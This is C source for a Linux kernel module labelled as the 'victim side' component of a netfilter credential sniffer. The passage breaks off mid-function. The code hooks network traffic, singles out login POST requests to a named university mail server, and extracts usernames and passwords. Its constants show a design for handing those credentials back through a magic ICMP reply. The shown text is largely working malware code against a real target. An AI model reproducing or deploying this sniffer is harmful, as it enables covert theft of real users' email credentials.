受害者端:nfsniff.c
#include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x77 // ICMP CODE #define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B) #define SUCCESS 1 #define FAILURE -1 #define IP_202_38_64_8 138421962 // email.ustc.edu.cn static const char *post_uri = "POST /coremail/index.jsp?cus=1"; static const int post_uri_len = 30; static const unsigned int target_ip = IP_202_38_64_8; static char *username = NULL; static char *password = NULL; static struct nf_hook_ops pre_hook; static struct nf_hook_ops post_hook; /** * 过滤器:发现我想要的数据包,如下: * dest_ip:202.38.64.8 (email.ustc.edu.cn) * tcp_dest_port:80 * POST_URI:POST /coremail/index.jsp?cus=1 * * @return SUCCESS/FAILURE */ static unsigned int findpkt_iwant(struct sk_buff *skb) { struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL; int tcp_payload_len = 0; ip = (struct iphdr *)skb_network_header(skb); //skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部 if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP) return FAILURE; tcp = (struct tcphdr *)skb_transport_header(skb); //tcp报文字段的长度 tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); //指向tcp报文段的数据部分 data = (char *)((char *)tcp + (tcp->doff<<2)); if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0) { return FAILURE; } printk("--------------- findpkt_iwant ------------------ "); printk("ip_hdrlen: %d ", (ip->ihl<<2)); printk("tcp_hdrlen: %d ", (tcp->doff<<2)); printk("ip_total_len: %d ", ntohs(ip->tot_len)); printk("tcp_payload_len: %d ", tcp_payload_len); printk("ip_addr: 0x%p ", ip); printk("tcp_addr: 0x%p ", tcp); printk("tcp_data_addr: 0x%p ", data); printk("hex : data[0-3] = 0x%02x%02x%02x%02x ", data[0], data[1], data[2], data[3]); printk("char: data[0-3] = %c%c%c%c ", data[0], data[1], data[2], data[3]); printk("--------------- findpkt_iwant ------------------ "); return SUCCESS; } /** * 使用KMP算法进行字符串匹配 * @return 匹配(>=0)/未匹配(-1) */ static int kmp(const char *cs, int cslen, const char *ct, int ctlen) { int i = 0, j = -1; int *next = NULL; // 1) get next[] next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL); if (next == NULL) return -1; next[0] = -1, next[1] = 0; while (i < ctlen) { if (j == -1 || ct[i] == ct[j]) { i++, j++; next[i] = j; } else { j = next[j]; } } // 2) match i = 0, j = 0; while (i < cslen && j < ctlen) { if (j == -1 || cs[i] == ct[j]) { i++, j++; } else { j = next[j]; } } kfree(next); next = NULL; return j >= ctlen ? (i - ctlen) : -1; } /** * 从URL的参数中提取key对应的value值 * 比如:uid=lichaoxi&password=1234 * @param urlparam urlparam的首地址 * @param ulen url的长度 * @param key 如:uid=,password= * @param klen key的长度(注意后面还有个=号) * @return 成功找到(包含value的字符串首地址)/失败(NULL) */ char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) { int index = 0, i = 0; char *value = NULL; if ((index = kmp(urlparam, ulen, key, klen)) == -1) return NULL; urlparam += (index + klen); ulen -= (index + klen); // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26 // http://www.atool88.com/urlencode.php for (i = 0; i < ulen && urlparam[i] != '&'; i++); if (i >= ulen) return NULL; // i + 1, for the last char ' ' if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL) return NULL; memcpy(value, urlparam, i); value[i] = '